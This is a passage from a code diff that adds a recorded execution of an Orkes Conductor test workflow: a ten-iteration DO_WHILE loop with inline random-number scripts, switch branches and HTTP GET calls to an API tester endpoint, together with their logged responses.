+ rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 105, + loopOverTask: false, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref", + retryCount: 0, + seq: 1, + pollCount: 1, + taskDefName: "http", + scheduledTime: 1713413856786, + startTime: 1713413856891, + endTime: 1713413856963, + updateTime: 1713413856891, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "965fb8d9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:36 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8678, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "mmxpwylvytawptmkxykq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 105, + loopOverTask: false, + taskDefinition: null, + }, + ], + }, + do_while_ref: { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref", + retryCount: 0, + seq: 2, + pollCount: 0, + taskDefName: "do_while", + scheduledTime: 1713413856971, + startTime: 1713413856971, + endTime: 1713413859275, + updateTime: 1713413859060, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "967bcc5a-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + 1: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["180"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 47, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "vxqmzdyagxmexnpbaiqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7523, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "rzlozabxrltfkexdijot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 633, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "pnnnyucqifmchdazstau", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9295, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "bgnycyjkhkdmiqsnjpcm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5570, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "sxopfwobgmlbyhectkue", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1008, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "drzushsnuxfkfbxjqvfh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3964, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qsrrgcyapbgeuoceizaa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6761, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "taupmlrpyhpzpsulaxqo", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 5: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 698, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "aobgjizxlwgiwdasfclh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6970, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "igwwnykfobqdnkxmafab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 6: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2489, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "vbksjctcduvxcucqtykv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8930, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "purhjvrqkogxpcyjifxv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 7: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 970, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "abxkbgqcvgvqnxjcishg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5965, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "cozkeartchukblaomchw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5144, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ffeeyciploflvzcqtrsc", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9726, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qmkipozchmypxunkkkzd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 9: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1122, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "qixyannkpllogxldfyqi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2780, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "jklxzsbanazwjffbarxi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7706, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "wadmrkumznvlcrfbfpoz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 944, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "piubltpqkibleiqpmeno", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\n if ($.do_while_ref['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + loopOver: [ + { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref", + retryCount: 0, + seq: 2, + pollCount: 0, + taskDefName: "do_while", + scheduledTime: 1713413856971, + startTime: 1713413856971, + endTime: 1713413859275, + updateTime: 1713413859060, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "967bcc5a-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + 1: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["180"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 47, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "vxqmzdyagxmexnpbaiqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7523, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "rzlozabxrltfkexdijot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 633, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "pnnnyucqifmchdazstau", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9295, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "bgnycyjkhkdmiqsnjpcm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5570, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "sxopfwobgmlbyhectkue", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1008, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "drzushsnuxfkfbxjqvfh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3964, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qsrrgcyapbgeuoceizaa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6761, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "taupmlrpyhpzpsulaxqo", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 5: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 698, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "aobgjizxlwgiwdasfclh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6970, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "igwwnykfobqdnkxmafab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 6: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2489, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "vbksjctcduvxcucqtykv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8930, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "purhjvrqkogxpcyjifxv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 7: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 970, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "abxkbgqcvgvqnxjcishg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5965, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "cozkeartchukblaomchw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5144, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ffeeyciploflvzcqtrsc", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9726, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qmkipozchmypxunkkkzd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 9: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1122, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "qixyannkpllogxldfyqi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + 